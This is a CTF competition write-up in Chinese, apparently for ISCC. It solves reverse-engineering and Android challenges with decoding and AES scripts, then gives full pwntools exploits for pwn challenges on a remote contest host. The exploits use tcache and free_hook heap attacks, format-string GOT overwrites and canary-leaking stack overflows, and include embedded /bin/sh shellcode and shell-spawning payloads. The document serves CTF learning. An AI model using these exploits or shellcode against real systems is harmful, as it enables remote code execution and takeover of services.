1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from z3 import * v16=[Int("v16%s" %i) for i in range (8 )] s=Solver() s.add(v16[2 ] + 7 * v16[1 ] - 4 * v16[0 ] - 2 * v16[3 ] == 0x1F675FCBE ) s.add(5 * v16[3 ] + 3 * v16[2 ] - v16[1 ] - 2 * v16[0 ] == 0x16ECB525D ) s.add(2 * v16[1 ] + 8 * v16[3 ] + 10 * v16[0 ] - 5 * v16[2 ] == 0x48AD213F9 ) s.add(7 * v16[0 ] + 15 * v16[1 ] - 3 * v16[3 ] - 2 * v16[2 ] == 0x7AB246ADD ) s.add(15 * v16[4 ] + 35 * v16[7 ] - v16[5 ] - v16[6 ] == 0xEE83D143C ) s.add(38 * v16[6 ] + v16[4 ] + v16[7 ] - 24 * v16[5 ] == 0x24FA58FB1 ) s.add(38 * v16[5 ] + 32 * v16[4 ] - v16[6 ] - v16[7 ] == 0x15503BC5DF ) s.add(v16[4 ] + 41 * v16[6 ] - v16[5 ] - 25 * v16[7 ] == 0x2922F20B4 ) v4=[]if (s.check()==sat): m=s.model() for i in range (8 ): v4.append(hex (int (str (m[v16[i]])))[2 :])print (v4)for i in range (8 ): for j in range (4 ): print (chr (int (v4[i][j*2 :j*2 +2 ],16 )),end="" )
Ruststr 图非图,字非字。
ida x64
打开,定位到 iscc_reverse::main
,F5
查看伪代码,有个 qmecpy
函数。
放入 base64
转 hex
脚本并 两个
为一节作为 0xXX
格式和第二个脚本的上下数列格式相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import base64 a=r'5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw==' b=[20 ,19 ,12 ,11 , 4 ,3 ,21 ,18 ,13 ,10 ,5 ,2 ,22 ,17 ,14 ,9 ,6 ,1 ,23 ,16 ,15 ,8 ,7 ,0 ]for i in b: print (a[i],end="" ) flag ="" def base64_to_hex (payLoad_base64 ): bytes_out = base64.b64decode(payLoad_base64) str_out = bytes_out.hex () print ("base64_ to_ hex:" ,str_out) print (str_out) c = [] for k in str_out: c.append('0x' + str_out[0 :2 ]) str_out = str_out[2 :] print (c) return str_out base64_to_hex(a)
然后将结果输入以下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 b = [0x9A , 0x78 , 0xB6 , 0x12 , 0xBE , 0x66 , 0x8D , 0xCF , 0x51 , 0x9E ,0x63 , 0xCB , 0x4A , 0xD1 , 0x1A , 0x59 , 0x78 , 0x1C , 0x17 , 0x73 ,0xF2 , 0x1D , 0x05 , 0x2F , 0xF0 , 0xD7 , 0xB3 , 0x22 , 0x5D , 0xAD ,0x0B , 0xE2 ] c = [0xe4 , 0x3d , 0x80 , 0x24 , 0xc7 , 0x0d , 0xa3 , 0xba , 0x00 , 0xc7 , 0x05 , 0x8c , 0x64 , 0x97 , 0x4e , 0x0a , 0x3e , 0x4b , 0x51 , 0x07 , 0x8f , 0x79 , 0x60 , 0x5b , 0x9b ] m = []for i in range (len (c)): m.append(c[i]^b[i]) key = [0x32 , 0x63 , 0x65 , 0x61 , 0x39 , 0x66 , 0x30 , 0x34 , 0x63 , 0x36 , 0x33 , 0x62 ,0x34 , 0x32 , 0x38 , 0x33 , 0x39 , 0x34 , 0x30 , 0x65 , 0x63 , 0x30 , 0x65 , 0x36 , 0x64 ,0x32 , 0x39 , 0x62 , 0x65 , 0x32 , 0x38 , 0x64 ]def lll (a,b ): if a>b: return 0 else : return -1 f = '' for i in range (len (m)): for j in range (128 ): if (lll((key[i]+0xd0 )&0xff ,0xa ) + j +2 )&0xff == m[i]: f += chr (j) print (f) break p = list (f[::-1 ])print ()def ppp (num ): a = num&1 return a==0 for i in range (len (p)): if ord ('a' )<=ord (p[i])<=ord ('z' ): p[i] = chr (ord (p[i])^0x20 ) elif ord ('A' )<=ord (p[i])<=ord ('Z' ): p[i] = chr (ord (p[i])^0x20 ) elif ord ('0' ) <=ord (p[i])<=ord ('9' ): a = ord (p[i]) + 1 b = ord (p[i]) - 1 if ppp(ord (p[i])): p[i] = chr (a) else : p[i] = chr (b) else : pass for i in range (len (p)): print (p[i],end='' )
GetTheTable 采用正确的解密软件就能快速解密
ida x64
打开,直接 F5
查看伪代码
复制出来直接 base58
解密
Bob’s Code 好简单的题目呀!
ida x32
打开,定位到 _main_0
,F5
查看伪代码
说白了就是 换表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import base64import string s='W1BqthGbfhpZcbXjWbhLgG5FoZBBYGRVXhXtf1NRoY5ctGG1XXBMVXtwoF0' t = '' for c in s: if 'a' <= c <= 'z' : t += chr ( ord ('a' ) + ((ord (c)-ord ('a' )) - 2 )%26 ) elif 'A' <= c <= 'Z' : t += chr ( ord ('A' ) + ((ord (c)-ord ('A' )) - 2 )%26 ) else : t += c print (t) t+='=' string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" a=(base64.b64decode(t.translate(str .maketrans(string1,string2))))print (base64.b64decode(a))
Mobile MobileA 一道简单的Mobile类型的题目,你能成功闯关吗?
首先用 jadx
打开 apk
文件,定位到 com
> example.mobilea
> MainActivity
把第 72
行的字符串跑一下
1 2 3 4 a = r'=1PmCCY=gQbcBQlnngbhpEEA' b = [20 , 19 , 12 , 11 , 4 , 3 , 21 , 18 , 13 , 10 , 5 , 2 , 22 , 17 , 14 , 9 , 6 , 1 , 23 , 16 , 15 , 8 , 7 , 0 ]for i in b: print (a[i], end='' )
然后得到的值 base64
,hex
一下,得到一段md5
解密后得到 flag
的后半部分
第一个箭头加密后是 key
, 第二个箭头加密后是 iv
,前两个箭头指的地方,用 base64
加密,记得是“”
里面的所有内容,然后第三个地方先 base64
解码一次
1 2 3 4 5 6 from Crypto.Cipher import AESfrom base64 import b64decode cipher = AES.new(b'S0BlMjAyMiUleQ==' , AES.MODE_CBC, b'SSZWMjAyMioqKg==' ) flag = b64decode('OVV3V3pKSHFjdWlYTG83SWlrdytnb3lsYVpnQXVpb3I3ZVhERnd6NGdRST0=' )print (cipher.decrypt(b64decode(flag)))
得到的内容和前面 md5
解密的字符拼接一下即为 flag
。
MobileB 小明在学习过程中突然来了兴致,结合自己学习的知识编写了一个经过加密的app,你能从中找到密匙吗?
得到字符串,填入下面的exp中,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import reimport sysimport mathfrom ast import Strdef sum (i, i2,i3 ): for i4 in range (0 ,6 ): d = i2 d2 = i d3 = i4 if (d <= pow (2.0 , d3) + d2): if (d != pow (2.0 , d3) + d2): d4 = i4 - 1 return sum ((int )(d2 + pow (2.0 , d4)), i2, i3 + 1 ) + ((int )(d4 * pow (10.0 , i3))) elif i4 == 0 : return (int )(pow (10.0 , i3) * 5.0 ) else : return (int )(d3 * pow (10.0 , i3)) return -1 ;def strRe (uStr ): sys.setrecursionlimit(2000000000 ) strlist = [] for i1 in range (1 , 27 ): a = sum (0 , i1, 0 ) strlist.append(str (a)) ia = uStr strlist1 = [x for x in ia.split('0' ) if x != '' ] strResult = '' for i in strlist1: strResult += chr (strlist.index(i)+65 ) return strResultdef soFlag (strResult ): sss='''1:<EWXYZQKLDMNPFGHASTUIJBOCRV<2:<OPQRBXFMNYZGHISCKTUVWAJDEL<3:<IJCDEFQKLUVWAXYZGHMOPBNRST<4:<NOPGZLMAQEFBCHIJKDRSTUVWXY<5:<FAEJKLMZBCQRSDTUNOPGHIVWXY<6:<YZPRBQKLGMNWXASTVHEFIJUOCD<7:<OPQUVRSJDEHWACKTZGMNYIBXFL<8:<VWNRDEFPQSTAXGHLUMOIJCKYZB<9:<EHIGZLMAQRJKDXYFBCNOPUVWST<10:<LMRSAZQEJVWKBCDTUFOPGHIXNY<11:<NWIUOCLGMVHXASTYZJDBQKPREF<12:<KTZUVEHIOPNCBWAYXFDRSJGMQL< ''' m = strResult content=re.findall(r'<(.*?)<' ,sss,re.S) iv=[0x00000003 ,0x0000000c ,0x00000006 ,0x00000008 ,0x00000007 ,0x00000002 ,0x00000004 ,0x0000000B ,0x00000001 ,0x00000005 ,0x00000009 ,0x0000000A ] vvv=[] ans="" for i in range (12 ): index=content[iv[i]-1 ].index(m[i]) vvv.append(index) for i in range (0 ,24 ): flag="" for j in range (12 ): flag+=content[iv[j]-1 ][(vvv[j]+i)%26 ] if 'FLAG' in flag: print (flag)if __name__ == '__main__' : uStr = '5340512305240513012402051205053014053405120' a = strRe(uStr) b = soFlag(a)
然后使用压缩软件打开apk
文件提取 lib\x86_64\libmobileb.so
文件
使用 ida x64
搜索字符串(shift+f12
)找到 十二个 地址相连的 等长字符串 填入上方·的位置。再把上一步得到的字符串填入。运行脚本找到开头为FLAG的字符串,flag就是ISCC(得到的字符串}
MobileC 再 so
文件 getkey
函数断点调试,得到 aes_key
,然后分析 so
文件里的 GetStr
的加密逻辑,爆破就行
八位
一组填到脚本里,爆破的结果 长度最短
的字符串即为flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import base64from Crypto.Cipher import AES enc=[]import copydef dfs (s,p ): if p==6 : enc.append(s) return for i in range (p,6 ): s[i],s[p]=s[p],s[i] t=copy.deepcopy(s) dfs(t,p+1 ) s[i],s[p]=s[p],s[i]def fun (s ): s=base64.b64decode(s) iv = 'i@S&88CcC.' iv = base64.b64encode(iv.encode()) key = b'QERAPG9dPyZfTC5f' aes = AES.new(key, AES.MODE_CBC, iv) print (aes.decrypt(s)) dfs([1 ,2 ,3 ,4 ,5 ,6 ],0 ) s='xb6LCvY4 ONK/iar= F4YrvRZ= bWZl2Eu= Fs+fVSe= rtODpbc=' .split(' ' )for k in enc: m=[0 ]*48 for i in range (6 ): for j in range (8 ): m[6 *j+k[i]-1 ]=s[i][j] check='' .join(m)[-5 :] if check=='=====' : fun('' .join(m)[0 :44 ])
PWN heapheap 遇到不能控制 prev_size
的情况,可以通过 shrink unsorted bin
的方法来将 prev_size
填充成 目标size
,原理是 unsortedbin
合并是有顺序的,合并完会在下个 chunk
的 prev_size
位写入之前的大小,从而在 prev_size
留下 size
,造成 chunk overlap
。这道题我们还需要爆破 4bit
申请到 stdout
去泄露 libc
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import * p = remote("123.57.69.203" ,"5320" ) elf = ELF("heapheap" ) libc = ELF("./libc-2.27.so" )def dbg (): gdb.attach(p) pause() s = lambda data :p.send(str (data)) sa = lambda text,data :p.sendafter(text, str (data)) sl = lambda data :p.sendline(str (data)) sla = lambda text,data :p.sendlineafter(text, str (data)) r = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) uu32 = lambda :u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) uu64 = lambda :u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) lg = lambda name,data :p.success(name + "-> 0x%x" % data) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" hp = 0x2020C0 def add (size,con ): sla("Please input your choice: " ,1 ) sla("Please input the size:" ,size) p.sendafter("Data:" ,con)def dele (idx ): sla("Please input your choice: " ,2 ) sla("Please input the index:" ,idx)for i in range (6 ): add(0xf8 ,'a' ) add(0xf0 ,'a' ) add(0x80 ,'a' ) add(0xf0 ,'a' ) add(0xf0 ,'a' )for i in range (6 ): dele(i) dele(9 ) dele(6 ) dele(7 ) dele(8 )for i in range (0 ,7 ): add(0xf0 ,'a' ) add(0xf0 ,'a' ) add(0x80 ,'a' ) add(0xf0 ,'a' )for i in range (0 ,6 ): dele(i) dele(8 ) dele(6 ) dele(9 ) add(0x88 ,'a' *0x80 +p64(0x190 )) dele(7 )for i in range (0 ,7 ): add(0xf0 ,'a' ) dele(0 ) add(0xf0 ,'a' )for i in range (0 ,7 ): dele(i) add(0x28 ,'\x60\xe7' ) add(0x80 ,'a' ) add(0x80 ,p64(0xfbad1887 )+p64(0 )+p64(0 )+p64(0 )+p8(0x58 )) libc_base = uu64()-0x3E82A0 lg("libc_base" ,libc_base) free_hook = libc_base+libc.sym["__free_hook" ] one = libc_base+0x4f432 dele(0 ) dele(1 ) add(0x20 ,p64(free_hook)) add(0x20 ,'a' ) add(0x20 ,p64(one)) dele(7 ) p.interactive()
h-o-s 漏洞点如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { __int64 v3; setvbuf(stdout , 0LL , 2 , 0LL ); memset (ptr, 0 , sizeof (ptr)); cmd = buf; while ( 1 ) { fgets(cmd, 128 , stdin ); if ( !strncmp (cmd, "fill" , 4uLL ) ) { if ( n > 7 ) { puts ("full-|-enough" ); } else { __isoc99_scanf("%d%*c" , &size); v3 = n; ptr[v3] = (char *)malloc (size); fgets(ptr[n], size, stdin ); ++n; } } else if ( !strncmp (cmd, "get" , 3uLL ) ) { if ( n < 0 ) { puts ("empty-nn-empty" ); } else { puts (ptr[--n]); free (ptr[n]); ptr[n] = 0LL ; } } else { puts ("I don't know---" ); } } }
存在 ptr[-1]
越界,由此可以在 cmd
空间内构造 fakechunk
,而且要保证 puts
后 free
的参数是可以正常 free
掉的。且只能 free
当前 chunk
。
在 cmd
布置 fakechunk
,free
到 unsortedbin
泄露 libc
,再次将 fakechunk
释放到 tcache
,制造 overlap
,然后将freehook
链入 tcache
,打 freehook
为 system
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import * context.log_level = 'debug' context.terminal = ["/bin/tmux" ,"sp" ,"-h" ] io = remote('123.57.69.203' ,5820 ) libc = ELF('./libc.so.6' ) elf = ELF('./hos' ) l64 = lambda :u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) l32 = lambda :u32(io.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) rl = lambda a=False : io.recvline(a) ru = lambda a,b=True : io.recvuntil(a,b) rn = lambda x : io.recvn(x) sn = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b) irt = lambda : io.interactive() dbg = lambda text=None : gdb.attach(io, text) lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) ur64 = lambda data : u64(data.rjust(8 , '\x00' ))def add (size,content ): sl('fill' ) sl(str (size)) sl(content)def delete (): sl('get' ) buf = 0x6010a0 cmd = 0x601160 add(0x41 ,'a' ) pay = 'get' .ljust(0x8 ,'\x00' ) + p64(0x61 )+p64(0 )+p64(0xb1 )+p64(0 )+p64(0xa1 )+p64(0 )+p64(0x91 ) + p64(0 ) + p64(0x81 ) + p64(0 ) + p64(0x71 )+ p64(0 ) + p64(0x61 ) + p64(0 ) +p64(buf+0x70 ) sl(pay) sl('get' ) add(0x81 ,'a' ) add(0x81 ,'a' ) add(0x81 ,'a' ) add(0x81 ,'a' ) add(0x81 ,'a' ) add(0x81 ,'a' ) add(0x81 ,'a' ) add(0x81 ,'a' ) delete() delete() delete() delete() delete() delete() pay = 'get' .ljust(0x8 ,'\x00' ) + p64(0x91 )+p64(0 )+p64(0xb1 )+p64(0 )+p64(0xa1 )+p64(0 )+p64(0x91 ) + p64(0 ) + p64(0x81 )+ p64(0 ) + p64(0x71 )+ p64(0 ) + p64(0x61 ) + p64(0 ) +p64(buf+0x10 ) sl(pay) add(0x51 ,p64(buf+0x10 ) + p64(buf+0x70 ) + p64(buf+0x10 )*2 +p64(0x91 )+p64(0x31 )) delete() sl('get' ) add(0x51 ,p64(buf+0x70 ) + p64(buf+0x10 ) + p64(buf+0x70 )*2 +p64(0x91 )+p64(0x31 )) sl('get' ) libcbase = l64() -0x3ebca0 lg('libcbase' ) freehook = libcbase + libc.symbols['__free_hook' ] lg('freehook' ) system = libcbase + libc.symbols['system' ] lg('system' ) add(0x81 ,'a' ) pay = 'get' .ljust(0x8 ,'\x00' ) + p64(0x91 )+p64(0 )+p64(0xb1 )+p64(0 )+p64(0xa1 )+p64(0 )+p64(0x91 ) + p64(0 ) + p64(0x81 )+ p64(0 ) + p64(0x71 )+ p64(0 ) + p64(0x61 ) + p64(0 ) +p64(buf+0x40 ) sl(pay) pay = 'fill' .ljust(0x8 ,'\x00' ) + p64(0x91 )+p64(0 )+p64(0xb1 )+p64(0 )+p64(0xa1 )+p64(0 )+p64(0x91 ) + p64(freehook) + p64(0x81 )+ p64(0 ) + p64(0x71 )+ p64(0 ) + p64(0x61 ) + p64(0 ) +p64(buf+0x40 ) sl(pay) add(0x81 ,p64(system)) add(0x41 ,'/bin/sh\x00' ) delete() irt()
create_id ida x32
打开,定位到 main
函数
简单的格式化字符串漏洞改写全局变量x,从而执行后门函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; int v4; int v6; int i; int v8; int v9; char format[100 ]; unsigned int v11; int *v12; v12 = &argc; v11 = __readgsdword(0x14 u); init(); printf ("%p\n" , &x); puts ("Guess a integer between 1~20^v^" ); puts ("You will get the user id after you finish it." ); for ( i = 0 ; i <= 2 ; ++i ) { v3 = time(0 ); srand(v3); v4 = rand() % 10 ; v8 = v4 + rand() % 11 + 1 ; __isoc99_scanf("%d" , &v6); if ( v8 == v6 ) { printf ("Good!" ); putchar (10 ); break ; } puts ("incorrect" ); } puts ("\nWhat's your name?" ); __isoc99_scanf("%s" , format); v9 = rand() % 100 + 10 ; puts (byte_804A0A3); printf ("your name is:" ); printf (format); if ( x == 9 ) flag(v12); else putchar (10 ); printf ("your user id is: %d\n" , v9); return 0 ;
代码这里引用了 flag
文件,很简单的一个输出和 cat flag
_isoc99_scanf
这个地方需要格外注意,在 pust
提示我们需要输入name的时候,我们将内容输出出去。_isoc99_scanf
这里传入参数 a1
和 a2
都是 int
型,返回也是 int
型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote('123.57.69.203' ,5310 ) x=int (p.recv(10 )[2 :],16 )print (hex (x)) p.recvuntil('You will get the user id after you finish it.\n' ) p.sendline('9' ) p.recvuntil('incorrect\n' ) p.sendline('9' ) p.recvuntil('incorrect\n' ) p.sendline('9' ) p.recvuntil("What's your name?\n" ) payload=fmtstr_payload(10 , {x:0x9 }) p.sendline(payload) p.interactive()
跳一跳 亲爱的CTFers,题目做累了,让我们离开电脑,一起跳一跳~
保护全开的栈溢出,但是只能溢出 0x18
个字节。 正常情况是要栈迁移的,但是这题能获取靶机使用的 libc
版本,并且能够利用 one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import osfrom pwn import *from LibcSearcher import * se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , b'\0' )) uu64 = lambda data :u64(data.ljust(8 , b'\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) elf = ELF('./attachment-10' ) p = remote('123.57.69.203' ,7020 ) payload=flat(['8 ' *217 ,'A' ]) se(payload) ru('\x08' *217 ) canary = uu64(rc(7 ))<<8 stack = uu64(ru('\x7f' ,drop=False )) info_addr('canary' ,canary) info_addr('stack' ,stack) payload1 = b'A' *0xD8 + p64(canary) payload1 += p64(stack) + b'\xA0\x50' sleep(0.3 ) se(payload1) payload2=flat(['9 ' *0xa8 ,'A' ]) sleep(0.3 ) se(payload2) ru('\x09' *0xa8 ) libc_leak = uu64(rc(6 )) libc_base = libc_leak - 0x81150 - 231 one_gadget = libc_base + 0x4f2c5 info_addr('libc_leak' ,libc_leak) info_addr('libc_base' ,libc_base) payload = b'A' *0xD8 + p64(canary) payload += p64(stack) + p64(one_gadget) sleep(0.3 ) se(payload) p.interactive()
untidy_note 这个笔记本不太好使
增删查改四个功能都有。但是增加的堆块大小受到限制,不能超过 31
字节。
漏洞点存在于 delete
和 edit
功能的函数,存在 UAF
漏洞和 堆溢出
漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import reimport osfrom this import dfrom pwn import *from LibcSearcher import * se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , b'\0' )) uu64 = lambda data :u64(data.ljust(8 , b'\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) elf = ELF('./untidy_note' ) p = remote('123.57.69.203' ,7030 )def menu (choice ): sla('Your choose is:' ,str (choice))def add (size ): menu(1 ) sla('the note size is:' ,str (size))def dele (id ): menu(2 ) sla('index:' ,str (id ))def edit (id ,size,data ): menu(3 ) sla('index:' ,str (id )) sla('the size is:' ,str (size)) sea('Content:' ,data)def show (id ): menu(4 ) sla('index:' ,str (id )) sla('Welcome to use untidy_note,Your name is:' ,'Coldwinds' )for _ in range (30 ): add(0x10 ) dele(2 ) dele(1 ) show(1 ) ru('Content:' ) heap_addr = uu64(rc(6 )) - 0x290 info_addr('Heap' ,heap_addr) edit(1 ,0x10 ,p64(heap_addr+0x10 )) add(0x10 ) add(0x10 ) edit(29 ,0x10 ,p64(0x23333 )) edit(2 ,0x20 ,p64(0 )*3 +p32(0x121 )) dele(3 ) show(3 ) ru('Content:' ) libc_base = uu64(rc(6 )) - 0x3ebca0 info_addr('libc' ,libc_base) libc = ELF('./libc-2.27.so' ) __free_hook = libc_base + libc.sym['__free_hook' ] system_addr = libc_base + libc.sym['system' ] dele(4 ) dele(5 ) edit(5 ,0x10 ,p64(__free_hook)) add(0x10 ) add(0x10 ) edit(28 ,0x10 ,p64(system_addr)) edit(11 ,0x10 ,'/bin/sh\0' ) dele(11 ) p.interactive()
sim_treasure 格式化字符串漏洞挟持,通过 printf
幻术的 got
表,改换 system
,将下一次程序调用printf
的时候传入 ’/bin/sh’
即可 GetShell
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context.log_level='debug' io=remote("123.57.69.203" ,7010 ) elf = ELF("./sp1" ) libc = ELF("./libc-2.27.so" ) puts_got = elf.got['puts' ] io.recvuntil("Can you find the magic word?\n" ) pay = p32(elf.got["puts" ])+b"%6$s" io.sendline(pay) io.recv(4 ) puts_addr = u32(io.recv(4 )) printf_got = elf.got['printf' ] libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] io.sendline("A" ) payload1 = fmtstr_payload(6 , {printf_got: system_addr}) io.recvuntil("A\n" ) io.sendline(payload1) io.sendline("/bin/sh" ) io.interactive();
unlink 主函数里面给了个后门
1 2 3 4 void __cdecl sh (char *c) { system(c); }
这题就是一个很简单的 堆溢出漏洞
结合 tcache attack
,将包含 cmd
的 fake_chunk
链入 tcache bins
,从而将 cmd
这个指针改为指向 free@got
,进而而改写 got
表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from struct import packfrom pwn import *import sys;import time;import os context(os="linux" , arch="amd64" , log_level="debug" ) context.log_level="debug" filename = "attachment-38" libcpath = "" sh = 0 lib = 0 elf = ELF(filename) local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) u16_local_one = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] u18_local_one = [0x4f2a5 ,0x4f302 ,0x10a2fc ] u20_local_one = [0xe3b2e ,0xe3b31 ,0xe3b34 ] """ """ l64 = lambda :u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) l32 = lambda :u32(sh.recvuntil("\x7f" )[-4 :].ljust(4 ,"\x00" )) leak= lambda name,data :sh.success(name + ": 0x%x" % data) s = lambda payload :sh.send( payload) sa = lambda a,b :sh.sendafter(str (a),str (b)) sl = lambda payload :sh.sendline(payload ) sla = lambda a,b :sh.sendlineafter(str (a),str (b)) ru = lambda a :sh.recvuntil(str (a)) r = lambda numb=4096 :sh.recv(numb) rl = lambda :sh.recvline() uu32= lambda data :u32(data.ljust(4 , b'\x00' )) uu64= lambda data :u64(data.ljust(8 , b'\x00' )) info_addr = lambda tag, addr :sh.info(tag + ': {:#x}' . format (addr)) check = lambda data :"data=" ,data,"|*|" ,"type=>" ,type (data)def add (index,size,data ): success("########->add<-########" ) sl("add" ) sla("Index: " ,str (index)) sla("Size: " ,str (size)) sa("Data: " ,data+"\n" ) def delete (index ): success("########->delete<-########" ) sl("remove" ) sla("Index: " ,str (index)) sys = 0x400896 sh = remote("123.57.69.203" ,5810 ) add(0 ,0x410 ,"aaaa" ) add(1 ,0xe8 ,"bbbb" ) add(2 ,0x4f0 ,"cccc" ) add(3 ,0x60 ,"/bin/sh\x00dddd" ) add(4 ,0x60 ,"/bin/sh\x00eeee" ) delete(0 ) delete(1 )for i in range (6 ): add(1 ,0xe8 -i,"b" *(0xe8 -i)) delete(1 ) add(1 ,0xe8 ,"b" *0xe0 +p64(0x510 ).decode('unicode_escape' )) delete(2 ) success("合并chunk" ) delete(1 ) fgets_got = elf.got["fgets" ] free_got = elf.got["free" ] system_plt = elf.plt["system" ];system_got = elf.got["system" ] puts_plt = elf.plt["puts" ] add(0 ,0x10 +0x410 +0xe8 ,0x410 *"a" +p64(0x420 ).decode('unicode_escape' )+p64(0xf0 ).decode('unicode_escape' )+p64(free_got).decode('unicode_escape' )) add(5 ,0xe0 ,"/bin/sh\x00ffff" ) add(6 ,0xe0 ,3 *p64(system_plt+6 ).decode('unicode_escape' )) raw_input() sl("/bin/sh\x00" ) sh.interactive()
Huge_Space 开始 gets(magic)
有 栈溢出
、add
功能有 堆溢出
,可申请任意大小的 chunk
,cmd
命令可 输入
数据 过多
。程序只有 add
和print函数( size
可控,可 泄露
地址),还有一个后门 sh:system(buf)
通过 溢出栈
,布置栈迁移 rop
,然后 堆溢出
覆盖 topchunk
,free
到 unsortedbin
,申请出来泄露 libc
,然后申请大内存,溢出覆盖 tls
结构的 canary
输入 cmd
,在 cmd
后面构造调用 execve
的 rop
,exit
返回到 main
函数,绕过canary
,栈迁移到 bss
,调用 ececve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * context.log_level = 'debug' context.terminal = ["/bin/tmux" ,"sp" ,"-h" ] io = remote('123.57.69.203' ,5330 ) libc = ELF('./libc.so.6' ) elf = ELF('./Huge_Space' ) l64 = lambda :u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) l32 = lambda :u32(io.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) rl = lambda a=False : io.recvline(a) ru = lambda a,b=True : io.recvuntil(a,b) rn = lambda x : io.recvn(x) sn = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b) irt = lambda : io.interactive() dbg 